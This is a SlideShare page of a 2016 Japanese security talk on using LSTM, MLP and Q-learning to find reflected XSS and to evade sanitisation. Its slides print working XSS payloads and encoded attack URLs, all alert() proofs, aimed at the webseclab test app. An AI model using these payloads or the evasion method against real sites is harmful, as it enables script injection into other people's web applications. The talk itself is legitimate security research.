Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
2016.11.26
Machine Learning 15minutes! #6
Presented by Isao Takaesu
機械学習を使ったハッキング手法
About the speaker
• 職業 : Webセキュリティエンジニア
• 所属 : 三井物産セキュアディレクション
• 趣味 : 脆弱性スキャナ作り、機械学習
• ブログ: http://www.mbsd.jp/blog/
• Bla...
今回の対象
MBSD
Reflected Cross-Site Scripting
(RXSS)
Machine Learning 15 minutes!
RXSSの例:超脆弱なアプリ
MBSD
<html>
<head>
<meta http-equiv="Content-Type" content="text/html">
<title>Case 3 - RXSS</title>
</head...
RXSSの例: 攻撃された様子
MBSD
<html>
<head>
<meta http-equiv="Content-Type" content="text/html">
<title>Case 3 - RXSS</title>
</hea...
RXSSの発現例
MBSD
<textarea>xxx</textarea>
<textarea>xxx</textarea><img src=x onerror=alert(0);></textarea>
・・・
<!-- xxx -->
<...
MBSD
機械によるHTML/JavaScript構文の理解
LSTMを使う
Machine Learning 15 minutes!
LSTMの学習データ(HTML)
MBSD
<abbr class="" data-utime="" title=""></abbr>
<abbr class='' title=''></abbr>
<abbr data-utime='' ti...
MBSD
_satellite.pageBottom();']
(function(window) {
var _gaq = _gaq || [];
var methods = ['log', 'dir', 'trace'];
if (type...
学習済みLSTMが生成した構文(一例)
MBSD
シード 生成構文
<textarea cols="60">xxx </textarea>
<!-- mbsdtest xxx -->
<input type="" value=“xxx ">
v...
RXSSの例:ちょっとセキュアなアプリ
MBSD
<html>
<head>
<meta http-equiv="Content-Type" content="text/html">
<title>Case 4 - RXSS</title>
<...
RXSSの例:攻撃された様子
MBSD
<html>
<head>
<meta http-equiv="Content-Type" content="text/html">
<title>Case 4 - RXSS</title>
</head...
サニタイズの例
MBSD
<script>alert(0);</script>
<block>alert(0);</block>
・・・
<script>alert(0);</script>
(delete)alert(0);</script>...
機械によるサニタイズの回避
MBSD
多層パーセプトロン(MLP)、Q学習を使う
Machine Learning 15 minutes!
MBSD
・
・
・
・
・
・
属性値
JS内
・・・
出力箇所
MLP
タグの外
“sCriPt”
他のタグ
URL
encode
攻撃パターン
Event
handler
・
・
・
Q学習
状態観測
サニタイズ回避を実現するモデル
・
...
RXSS検出のデモ
MBSD
Target:webseclab
Case
サニタ
イズ
出力箇所/サニタイズ
/reflect/textarea1 × TEXTAREA タグ内
/reflect/onmouseover 〇
INPUTタグの属性...
RXSS検出のデモ
MBSD
Target:webseclab
Case
サニタ
イズ
出力箇所/サニタイズ
/reflect/textarea1 × TEXTAREA タグ内
/reflect/onmouseover 〇
INPUTタグの属性...
MBSD
<!doctype html><html><head><title>Reflected XSS in
textarea (textarea1)</title></head><body>
<H2>Textarea injection t...
MBSD
<!doctype html><html><head><title>Reflected XSS in
textarea (textarea1)</title></head><body>
<H2>Textarea injection t...
MBSD
Case1:攻撃の様子
Machine Learning 15 minutes!
https://www.youtube.com/watch?v=6UHbMGdqr_0
RXSS検出のデモ
MBSD
Target:webseclab
Case
サニタ
イズ
出力箇所/サニタイズ
/reflect/textarea1 × TEXTAREA タグ内
/reflect/onmouseover 〇
INPUTタグの属性...
MBSD
<!doctype html><html>
<head><title>Reflected XSS - attribute injection in ta
gs (dq.2)</title></head><body>
<H2>Updat...
MBSD
<!doctype html><html>
<head><title>Reflected XSS - attribute injection in
tags (dq.2)</title></head><body>
<H2>Update...
MBSD
Case2:攻撃の様子
Machine Learning 15 minutes!
https://www.youtube.com/watch?v=-r3C1moUVqU
Download “.PDF” version of this document:
≫ https://machine-learning15minutes.connpass.com/event/43004/
Upcoming SlideShare
Loading in …5
×

機械学習を使ったハッキング手法

2,714 views

Published on

Machine Learning 15minutes! #6

Published in: Software

機械学習を使ったハッキング手法

  1. 1. 2016.11.26 Machine Learning 15minutes! #6 Presented by Isao Takaesu 機械学習を使ったハッキング手法
  2. 2. About the speaker • 職業 : Webセキュリティエンジニア • 所属 : 三井物産セキュアディレクション • 趣味 : 脆弱性スキャナ作り、機械学習 • ブログ: http://www.mbsd.jp/blog/ • Black Hat Asia Arsenal, CODE BLUE / 2016 • AISECjpを主催 高江洲 勲 MBSD タカエス イサオ Machine Learning 15 minutes!
  3. 3. 今回の対象 MBSD Reflected Cross-Site Scripting (RXSS) Machine Learning 15 minutes!
  4. 4. RXSSの例:超脆弱なアプリ MBSD <html> <head> <meta http-equiv="Content-Type" content="text/html"> <title>Case 3 - RXSS</title> </head> <body> <input type="text" value="testData"> </body> </html> http://xxx/case3/?input=testData 入力値がINPUTタグのVALUE属性内に出力 Machine Learning 15 minutes!
  5. 5. RXSSの例: 攻撃された様子 MBSD <html> <head> <meta http-equiv="Content-Type" content="text/html"> <title>Case 3 - RXSS</title> </head> <body> <input type="text" value=""/><script>alert('XSS');</script>"> </body> </html> http://xxx/case3/?input="/><script>alert(‘XSS');</script> HTML内へのスクリプト埋め込み Machine Learning 15 minutes!
  6. 6. RXSSの発現例 MBSD <textarea>xxx</textarea> <textarea>xxx</textarea><img src=x onerror=alert(0);></textarea> ・・・ <!-- xxx --> <!-- xxx --><script>alert(0);</script>--> ・・・ <input value=“xxx” /> <input value=“xxx”><script>alert(0);</script>” /> ・・・ var hoge = [‘log’,’xxx’,’red’]; var hoge = [‘log’,’xxx’]; alert(0);//’,’red’]; HTMLやJavaScript上の様々な場所で発現 構文の理解が重要 Machine Learning 15 minutes!
  7. 7. MBSD 機械によるHTML/JavaScript構文の理解 LSTMを使う Machine Learning 15 minutes!
  8. 8. LSTMの学習データ(HTML) MBSD <abbr class="" data-utime="" title=""></abbr> <abbr class='' title=''></abbr> <abbr data-utime='' title=''></abbr> ・・・ <input name="" type="" value=""/> <input alt="" id="" onclick="" src="" type=""/> <input alt='' id="" src='' type=''/> <input alt='' name='' src='' type=''/> ・・・ <video autoplay="" loop="" muted=""></video> <video class="" height="" id="" width=""></video> <video src='' tabindex=''></video> <video src=''></video> 2万ページ分のHTML構文 (約12,000種類) Machine Learning 15 minutes!
  9. 9. MBSD _satellite.pageBottom();'] (function(window) { var _gaq = _gaq || []; var methods = ['log', 'dir', 'trace']; if (typeof window.console === 'undefined') { window.console = {}; } for (var i in methods) { if (!(methods[i] in window.console)) { window.console[methods[i]] = function() {}; } } }(window)); LSTMの学習データ(JavaScript) 1万ページ分のJavaScript構文 Machine Learning 15 minutes!
  10. 10. 学習済みLSTMが生成した構文(一例) MBSD シード 生成構文 <textarea cols="60">xxx </textarea> <!-- mbsdtest xxx --> <input type="" value=“xxx "> var hoge = ['log', ‘xxx red’];¥r¥n /* mbsdtest xxx */ function(){ xxx }¥r¥n シードに対応した構文生成が可能 Machine Learning 15 minutes!
  11. 11. RXSSの例:ちょっとセキュアなアプリ MBSD <html> <head> <meta http-equiv="Content-Type" content="text/html"> <title>Case 4 - RXSS</title> </head> <body> <input type="text" value=""/> alert('XSS');"> </body> </html> SCRIPTタグのサニタイズ http://xxx/case4/?input="/><script>alert(‘XSS');</script> Machine Learning 15 minutes!
  12. 12. RXSSの例:攻撃された様子 MBSD <html> <head> <meta http-equiv="Content-Type" content="text/html"> <title>Case 4 - RXSS</title> </head> <body> <input type="text" value=""onmouseout=alert('XSS')""> </body> </html> サニタイズを回避してスクリプト埋め込み http://xxx/case4/?input=“onmouseout=alert(‘XSS')” Machine Learning 15 minutes!
  13. 13. サニタイズの例 MBSD <script>alert(0);</script> <block>alert(0);</block> ・・・ <script>alert(0);</script> (delete)alert(0);</script> ・・・ “><script>alert(0);</script> &quot;&gt;&lt;script&gt;alert(0);&lt;/script&gt; ・・・ <script>alert(0);</script> <script>alert(0);</script> 多種多様なサニタイズパターンが存在 サニタイズの回避テクニックの習得が必要 Machine Learning 15 minutes!
  14. 14. 機械によるサニタイズの回避 MBSD 多層パーセプトロン(MLP)、Q学習を使う Machine Learning 15 minutes!
  15. 15. MBSD ・ ・ ・ ・ ・ ・ 属性値 JS内 ・・・ 出力箇所 MLP タグの外 “sCriPt” 他のタグ URL encode 攻撃パターン Event handler ・ ・ ・ Q学習 状態観測 サニタイズ回避を実現するモデル ・ ・ ・ 評価 重み更新 “ ⇒ &quot; < ⇒ &lt; ・・・ サニタイズ > ⇒ &gt; 攻撃試行を繰り返しながらサニタイズ回避パターンを学習 Machine Learning 15 minutes!
  16. 16. RXSS検出のデモ MBSD Target:webseclab Case サニタ イズ 出力箇所/サニタイズ /reflect/textarea1 × TEXTAREA タグ内 /reflect/onmouseover 〇 INPUTタグの属性値 入力値からタグ閉じが削除 Machine Learning 15 minutes!
  17. 17. RXSS検出のデモ MBSD Target:webseclab Case サニタ イズ 出力箇所/サニタイズ /reflect/textarea1 × TEXTAREA タグ内 /reflect/onmouseover 〇 INPUTタグの属性値 入力値からタグ閉じが削除 Machine Learning 15 minutes!
  18. 18. MBSD <!doctype html><html><head><title>Reflected XSS in textarea (textarea1)</title></head><body> <H2>Textarea injection test</H2> <p> <FORM> <textarea name="in" rows="5" cols="60">saivs12345 </textarea> <p> http://xxx/reflect/textarea1?in=saivs12345 出力箇所 :TEXTAREAタグ内 サニタイズ:なし Case1:正常リクエスト送信時 Machine Learning 15 minutes!
  19. 19. MBSD <!doctype html><html><head><title>Reflected XSS in textarea (textarea1)</title></head><body> <H2>Textarea injection test</H2> <p> <FORM> <textarea name="in" rows="5" cols="60"></textarea>7Q7p N"MBPcc'PA6tz<script>alert(3122);WKr8J</script>fowCP</ textarea> <p> http://xxx/reflect/textarea1?in=%3C/textarea%3E7Q7pN%22MBPcc' PA6tz%3Cscript%3Ealert(3122);WKr8J%3C/script%3EfowCP 試行回数:1回 Case1:攻撃リクエスト送信時 Machine Learning 15 minutes!
  20. 20. MBSD Case1:攻撃の様子 Machine Learning 15 minutes! https://www.youtube.com/watch?v=6UHbMGdqr_0
  21. 21. RXSS検出のデモ MBSD Target:webseclab Case サニタ イズ 出力箇所/サニタイズ /reflect/textarea1 × TEXTAREA タグ内 /reflect/onmouseover 〇 INPUTタグの属性値 入力値からタグ閉じが削除 Machine Learning 15 minutes!
  22. 22. MBSD <!doctype html><html> <head><title>Reflected XSS - attribute injection in ta gs (dq.2)</title></head><body> <H2>Update Your Preferences</H2><p> <FORM> Homepage: <input value=""><script>alert()" name="in" s ize="40"><BR> http://xxx/xss/reflect/onmouseover?in=”><script>alert()</script> 出力箇所 :INPUTタグ内 サニタイズ:タグ閉じの削除 Case2:正常リクエスト送信時 Machine Learning 15 minutes!
  23. 23. MBSD <!doctype html><html> <head><title>Reflected XSS - attribute injection in tags (dq.2)</title></head><body> <H2>Update Your Preferences</H2><p> <FORM> Homepage: <input value=""> <option s onmouseover=alert (3122);//" name="in" size="40"><BR> http://xxx/xss/reflect/onmouseover?in=%22%3E%3C/option%3E%3 Coption%20s%20onmouseover=alert(3122);// 試行回数:3回 Case2:攻撃リクエスト送信時 Machine Learning 15 minutes!
  24. 24. MBSD Case2:攻撃の様子 Machine Learning 15 minutes! https://www.youtube.com/watch?v=-r3C1moUVqU
  25. 25. Download “.PDF” version of this document: ≫ https://machine-learning15minutes.connpass.com/event/43004/

×